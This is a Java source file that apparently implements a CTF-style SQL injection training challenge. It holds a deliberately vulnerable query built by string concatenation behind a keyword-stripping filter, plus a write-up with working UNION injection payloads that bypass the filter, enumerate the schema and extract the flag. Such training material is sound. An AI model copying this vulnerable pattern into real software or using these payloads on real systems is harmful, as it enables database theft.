package tum0r.server.problem.web.sql_injection.union;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.model.ret.RetNews;
import tum0r.server.problem.ProblemBase;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.utils.server.action.Action;

/**
 * 工程: Security<br>
 * 包: tum0r.server.problem.web.sql_injection.injection<br>
 * 创建者: tum0r<br>
 * 创建时间: 2021/3/21 14:51<br>
 * <br>
 */
@Server(Mapping = "/security/problem/web/sql_injection/union/high")
public class High extends ProblemBase {
    public High() {
        information.ProblemTitle = "高等级SQL注入";
        information.ProblemID = 3;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.HIGH;
        information.CreateTime = "2020/03/21";
        ProblemInfoItem problem = new ProblemInfoItem("problem", null);
        problem.addParameter("id", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("嘟～嘟～数据不合法");
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("""
                id = id.toUpperCase();
                id = id.replace("UNION", "");
                id = id.replace("SELECT", "");
                id = id.replace("--", "");
                id = id.replace("#", "");
                String sql = "SELECT * FROM news WHERE ID = '" + id + "'";
                """);
    }

    @Override
    public void writeUp(Action<String> action) {
        String result = """
                0、测试id=3和id=1+2得到的结果不同，所以为字符型SQL注入
                                
                1、测试UNION查询发现没有结果，怀疑被过滤，查看tips发现先把语句转为了大写，然后替换掉一些SQL语句关键词，可以采用UUNIONNION这样的方式绕过
                                
                2、测试有多少个字段
                problem?id=9999'%20UUNIONNION%20SSELECTELECT%201%2C2%2C3%2C4%20-%23-%20
                                
                3、获取数据库名
                problem?id=9999'%20UUNIONNION%20SSELECTELECT%201%2CDATABASE()%2C3%2C4%20-%23-%20
                                
                4、获取表名
                problem?id=9999'%20UUNIONNION%20SSELECTELECT%201%2CGROUP_CONCAT(TABLE_NAME)%2C3%2C4%20FROM%20information_schema.TABLES%20WHERE%20TABLE_SCHEMA%3D'security'%20-%23-%20
                                
                5、获取f1ag表的字段名
                problem?id=9999'%20UUNIONNION%20SSELECTELECT%201%2CGROUP_CONCAT(COLUMN_NAME)%2C3%2C4%20FROM%20information_schema.%60COLUMNS%60%20WHERE%20TABLE_NAME%3D'f1ag'%20-%23-%20
                                
                6、根据本题的ProblemID获取flag
                problem?id=9999'%20UUNIONNION%20SSELECTELECT%201%2CFla9%2C3%2C4%20FROM%20f1ag%20WHERE%20ProblemID%3D3%20-%23-%20
                """;
        action.callBack(result);
    }

    public void problem(@Param("id") String id, Action<String> action) {
        id = id == null ? "" : id;

        id = id.toUpperCase();
        id = id.replace("UNION", "");
        id = id.replace("SELECT", "");
        id = id.replace("--", "");
        id = id.replace("#", "");
        String sql = "SELECT * FROM news WHERE ID = '" + id + "'";

        RetNews news = null;
        try {
            news = DB._Write._DAO.selectObjectUnsafe(sql, RetNews.class);
        } catch (Exception ignored) {
        }

        action.callBack(news != null ? ("Title: " + news.Title + "\n" +
                "Content: " + news.Content + "\n") : "Not found");
    }
}
